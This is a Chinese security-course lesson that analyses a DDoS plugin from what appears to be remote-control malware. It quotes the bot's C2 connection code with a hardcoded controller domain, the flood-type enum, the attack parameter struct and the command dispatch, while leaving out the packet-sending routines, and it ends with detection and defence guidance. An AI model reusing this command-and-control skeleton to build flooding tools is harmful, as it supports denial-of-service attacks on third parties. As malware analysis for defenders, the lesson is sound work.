40 / 52 音视频、代理与系统扩展

第 40 课:主插件:压力测试

# 第 40 课:主插件:压力测试

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课围绕 主插件\压力测试 展开。虽然源码目录使用“压力测试”命名,但内部类名、枚举和函数名显示它具备多种高风险流量生成能力。企业安全工程学习者必须明确边界:合法压力测试需要书面授权、明确范围、时间窗口、流量上限、监控方案和回滚预案;未授权流量冲击可能造成业务不可用、客户损失和法律风险。 因此,本课只讲源码结构、调度逻辑、风险识别和防御检测,不展开任何可直接复用的发包细节、参数配置或执行方法。

# 1. 本课学习目标

读完本课,你应该能理解:

  1. 压力测试插件在整体工程中的角色?

  2. DDOSManager 如何接收命令、保存参数、创建定时器和工作线程?

  3. ATTACK 结构在源码里承载哪些风险参数?

  4. 为什么线程数、目标、端口、持续时间、报文类型都是高风险信号?

  5. 企业如何区分授权压力测试和异常可用性风险?

  6. 如何从主机、网络、边界设备和变更记录做事件关联。

# 2. 源码目录和文件

路径 作用
主插件\压力测试\压力测试.sln 压力测试插件解决方案
主插件\压力测试\压力测试\压力测试.cpp 插件入口、网络连接、管理器创建
主插件\压力测试\压力测试\DDOSManager.h 命令枚举、流量类型枚举、参数结构、管理器声明
主插件\压力测试\压力测试\DDOSManager.cpp 命令处理、定时器、线程调度和高风险网络函数

依赖说明: 本课主要使用 WinSock、Windows 线程/定时器和项目 HPSocket 通信层。这里的重点不是某个第三方库,而是远程命令如何把目标、端口、线程数和持续时间传给本地网络线程。涉及高风险流量生成的实现只做防御性说明,代码注释会标出参数来源和检测边界,不提供可复用执行步骤。 2. 源码目录和文件(配图)

# 3. 安全边界:合法压力测试必须先有授权。

在企业里,压力测试和可用性攻击之间的差异不在技术动作,而在授权边界和控制措施。

要素 合法压力测试 高风险异常行为
授权 有书面范围、审批和联系人 无授权或范围不清
时间 固定测试窗口 任意时间触发
目标 明确资产和端口 任意目标或第三方目标
流量 有上限和停止条件 不受控、不可预测
监控 测试前通知 SOC、运维、云厂商 无监控联动
应急 有回滚和阻断预案 发生故障后难以归因

本课后续所有内容都按防御理解展开。

# 4. 插件入口

// 源码位置:主插件\压力测试\压力测试\压力测试.cpp:7-44
// 防御分析注释:入口连接成功后创建 DDOSManager
// 这类模块一旦被未授权触发,可能直接造成可用性风险
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("iamasbcx.asuscomm.com"),
    6000,
    1,
    0,
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        DDOSManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

# 5. 关键结构和函数位置

文件 结构/函数 大致行号 作用
DDOSManager.h 命令枚举 9-14 启动、停止相关命
DDOSManager.h 流量类型枚举 17-29 多种高风险流量类
DDOSManager.h ATTACK 结构 78-89 目标、端口、类型、线程、时间、数
DDOSManager.h DDOSManager 类声明 100-117 管理器和工作函数声明
DDOSManager.cpp 构造函数 18-33 单实例互斥、发送启token
DDOSManager.cpp OnReceive 41-60 接收启动和停止命
DDOSManager.cpp CreateTimeer 99-114 根据时间停止
DDOSManager.cpp DDOSAttackr 146-255 根据类型创建多个工作线程
DDOSManager.cpp 各类工作函数 268 以后 高风险网络流量实现,本课不展开

# 6. 命令和参数结。

源码中命名使用了 ATTACKDDOSManager 等高风险词。我们保留这些名字是为了让读者能对照源码,但讲解只用于防御识别。

// 源码位置:主插件\压力测试\压力测试\DDOSManager.h:9-29,78-89
// 防御分析注释:这些枚举和字段可以帮助蓝队识别风险配置// 但不应被用于未授权流量生成enum
{
    COMMAND_NEXT_DDOS,
    COMMAND_DDOS_ATTACK,
    COMMAND_DDOS_STOP,
};

enum
{
    ATTACK_CCFLOOD,
    ATTACK_IMITATEIE,
    ATTACK_LOOPCC,
    ATTACK_ICMPFLOOD,
    ATTACK_UDPFLOOD,
    ATTACK_TCPFLOOD,
    ATTACK_SYNFLOOD,
    ATTACK_BRAINPOWER,
    CUSTOM_TCPSEND = 100,
    CUSTOM_UDPSEND,
};

typedef struct DDOS_HEAD
{
    TCHAR Target[400];     // 防御视角:目标资产字    WORD AttackPort;       // 防御视角:目标端口字    WORD AttackType;       // 防御视角:流量类型字    WORD AttackThread;     // 防御视角:并发线程数字段
    WORD AttackTime;       // 防御视角:持续时间字    CHAR SendData[2000];   // 防御视角:自定义数据字段
    WORD DataSize;
    DWORD ExtendData1;
    DWORD ExtendData2;
} ATTACK, *LPATTACK;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

从防御角度看,ATTACK 结构的高风险字段包括

字段 防御含义
Target 被冲击的目标资产
AttackPort 被访问的端口
AttackType 流量类型
AttackThread 并发强度
AttackTime 持续时间
SendData / DataSize 自定义负载大小和内容
ExtendData2 源码中用于间隔等控制,影响速率

# 7. Manager 构造:单实例和启动 token

// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:18-33
// 防御分析注释:构造函数创建互斥体限制单实例,并向主控端发TOKEN_DDOS// 单实例互斥名可以作为静态和运行时排查线索DDOSManager::DDOSManager(ISocketBase* pClient) : CManager(pClient)
{
    m_buser = FALSE;

    hObject = CreateMutex(NULL, FALSE, _T("DDOSManager"));
    if (GetLastError() == ERROR_ALREADY_EXISTS)
    {
        CloseHandle(hObject);
        pClient->Disconnect();
        return;
    }

    CountTime = 0;
    pDDOSManager = this;

    BYTE bToken = TOKEN_DDOS;
    Send((LPBYTE)&bToken, 1);

    m_buser = TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

互斥体本身不是恶意特征,很多正常程序也会限制单实例。但当互斥名、外联、线程峰值、异常网络流量同时出现时,它可以作为关联线索。

# 8. 命令入口:启动和停止

8. 命令入口:启动和停止(配图)

// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:41-60
// 防御分析注释:网络命令会ATTACK 参数复制进本地结构并进入调度函数// 防御侧应关注远程命令触发本机高并发网络线程的行为void DDOSManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;

    switch (lpBuffer[0])
    {
    case COMMAND_DDOS_STOP:
        Stoping = FALSE;
        break;

    case COMMAND_DDOS_ATTACK:
    {
        ATTACK m_Attack;
        memcpy(&m_Attack, lpBuffer + 1, sizeof(ATTACK));
        DDOSAttackr(&m_Attack);
    }
    break;

    default:
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

这段代码的关键是:网络缓冲区中的参数直接决定目标、端口、类型、线程数和时间。企业检测可以把“收到远程命令后短时间创建大量网络线程”作为强关联行为。

# 9. 定时器:按持续时间停。

// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:99-114
// 防御分析注释:CreateTimeer 根据 CountTime 控制停止标志// 可用性风险排查时,持续时间字段可以帮助还原事件窗口DWORD WINAPI DDOSManager::CreateTimeer(LPVOID lParam)
{
    DWORD SleepTime = pDDOSManager->CountTime;
    pDDOSManager->CountTime = 0;
    SleepTime = SleepTime * 60 * 1000;

    DWORD CountTime = 0;

    while (CountTime < SleepTime)
    {
        if (Stoping == FALSE)
            return 1;

        CountTime += 500;
        Sleep(500);
    }

    Stoping = FALSE;
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

定时器是防御分析中的事件边界线索:如果你看到某台主机从某个时间点开始出现网络突增,又在一个固定窗口后停止,可以回头检查是否存在类似的持续时间控制逻辑。

# 10. 调度函数:根据类型创建工作线。

下面是安全化节选:省略可直接复用的高风险流量生成细节,仅保留防御分析所需的调度思路。

// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:146-255
// 防御分析注释:DDOSAttackr 的核心是复制参数、设置停止标志// 创建定时器,并按 AttackType 创建多个工作线程// 安全化节选:省略可直接复用的高风险工作线程实现,仅保留调度结构void DDOSManager::DDOSAttackr(LPATTACK PoinParam)
{
    Stoping = TRUE;

    memcpy(&m_Attack, PoinParam, sizeof(ATTACK));
    CountTime = m_Attack.AttackTime;

    if (m_Attack.AttackType != CUSTOM_TCPSEND &&
        m_Attack.AttackType != CUSTOM_UDPSEND &&
        m_Attack.AttackType != ATTACK_LOOPCC)
    {
        m_Attack.ExtendData2 = 100;
        m_Attack.DataSize = (WORD)strlen(m_Attack.SendData);
    }

    CloseHandle(CreateThread(NULL, NULL, CreateTimeer, &m_Attack.AttackTime, 0, NULL));

    for (int i = 0; i < m_Attack.AttackThread; i++)
    {
        // 原源码会根据 AttackType 创建不同工作函数        // 防御侧只需要关注:线程数量、目标、端口、持续时间、流量类型        // 具体网络发送细节本课不展开    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

对企业检测来说,DDOSAttackr 的重点不是某一种报文,而是调度特征

调度特征 防御价值
Stoping = TRUE 标记进入持续运行状态
memcpy(&m_Attack, ...) 外部参数进入本地执行上下
CountTime = m_Attack.AttackTime 事件持续时间可还
CreateTimeer 独立停止线程
for i < AttackThread 并发强度由外部参数决
不同工作函数 对应不同网络流量形

# 11. 高风险工作函数只做防御性识。

源码后半部分包含多类网络工作函数。本课不贴出可复用实现,只列出防御识别要点。

// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:268-623
// 防御分析注释:原文件在这些函数中实现具体网络流量生成// 安全化节选:省略可直接复用的高风险目标解析、循环发送// 原始报文构造和自定义负载细节//
// 防御侧关注以下行为即可:
// 1. CCAttack / LoopCCAttack:大TCP 连接和请求形态// 2. UDPAttackModel:UDP socket 和高sendto 形态// 3. ICMP_Flood:Raw socket ICMP 异常峰值// 4. SYNFlood:原TCP 报文构造和半连接压力风险?

1
2
3
4
5

11. 高风险工作函数只做防御性识。(配图)

# 12. 流量类型的防御理

类型 防御侧怎么 常见影响
TCP 连接 短连接、连接失败、端口连接速率上升 应用连接池、网关、目标端口压力
UDP 报文本 单向 UDP 包速率异常 带宽、边界设备、目标服务压
ICMP ICMP 包量突然升高 链路和网络设备告
SYN/RAW 半连接、原socket、异常握 防火墙、负载均衡、系backlog
HTTP/CC 应用层请求峰 Web、WAF、缓存和后端服务压力

这些描述只用于防御识别。企业任何压力测试都必须使用批准工具、批准目标和批准时间窗口。

# 13. 防护控制

13. 防护控制(配图)

控制。 说明
授权范围 明确目标资产、端口、方法、强度、时
变更留痕 测试前建立工单,通知 SOC、网络、业务和云厂
速率限制 主机、网关、负载均衡、API 网关都应有阈
边界防护 WAF、DDoS 防护、ACL、黑洞或清洗策略
监控基线 建立 QPS、连接数、带宽、错误率、延迟基
应急预案 一键停止、阻断源、扩容、回滚和客户通知流程

# 14. 企业检测点

14. 企业检测点(配图)

检测层 建议检测点
主机 短时间创建大量网络线程、Raw socket、异socket 类型
进程 非压测工具、非批准路径、无签名程序产生高并发流
网络 连接速率、包速率、失败率、半连接数、UDP/ICMP 峰
边界 防火墙、WAF、负载均衡、云防护设备的限速和丢弃事件
资产 被访问资产是否在批准测试范围
变更 是否存在测试工单、审批记录和通知窗口
关联分析 主机线程峰值、网络峰值和变更记录是否匹配

# 15. 静态规则特。

静态特征只能作为候选线索,不能单独定性

特征 防御含义
COMMAND_DDOS_ATTACK / COMMAND_DDOS_STOP 高风险命令入口
ATTACK_CCFLOODATTACK_UDPFLOODATTACK_SYNFLOOD 风险类型枚举
CreateMutex("DDOSManager") 单实例线
CreateThreadAttackThread 并发线程受参数控制
SOCK_RAW 原始 socket 高风险信
sendto 高频调用 UDP/ICMP/RAW 类流量线
TargetAttackPortAttackTime 字段 参数结构线索

# 16. 误报来源

误报来源 排查方式
授权压测工具 是否有工单、批准窗口、工具白名单和监控通知
网络扫描 是否为资产发现任务,流量形态是否匹配扫
备份或同步任 是否访问固定业务目标,是否在计划任务窗口
安全设备自测 是否由安全团队发起,是否有变更记
业务流量峰 是否来自真实用户访问,是否有活动或发布背

# 17. 合法练习:

  1. 不运行任何代码,只根据 DDOSManager.h 画出 ATTACK 参数结构的风险字段图?

  2. 设计一条检测逻辑:非批准进程10 秒内创建大量网络线程并产生包速率峰值?

  3. 给出一份合法压力测试前的通知清单,包含目标、时间、联系人、停止条件?

  4. 阅读 OnReceive,说明为什么网络缓冲区参数直接影响本机行为是高风险设计?

  5. 根据本课检测点,写出“授权压测”和“异常流量冲击”的区分标准。

# 18. 本课小结

压力测试模块的主线是:入口连接主控端,DDOSManager 接收启动或停止命令,复制参数结构,启动定时器,并按类型创建多个网络工作线程。 这类代码必须严格放在授权边界内分析。防御侧应关注线程峰值、目标和端口、持续时间、Raw socket、包速率、边界设备告警以及是否存在批准测试窗口。没有授权、没有范围、没有监控和停止条件的流量冲击,不能被称为压力测试。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>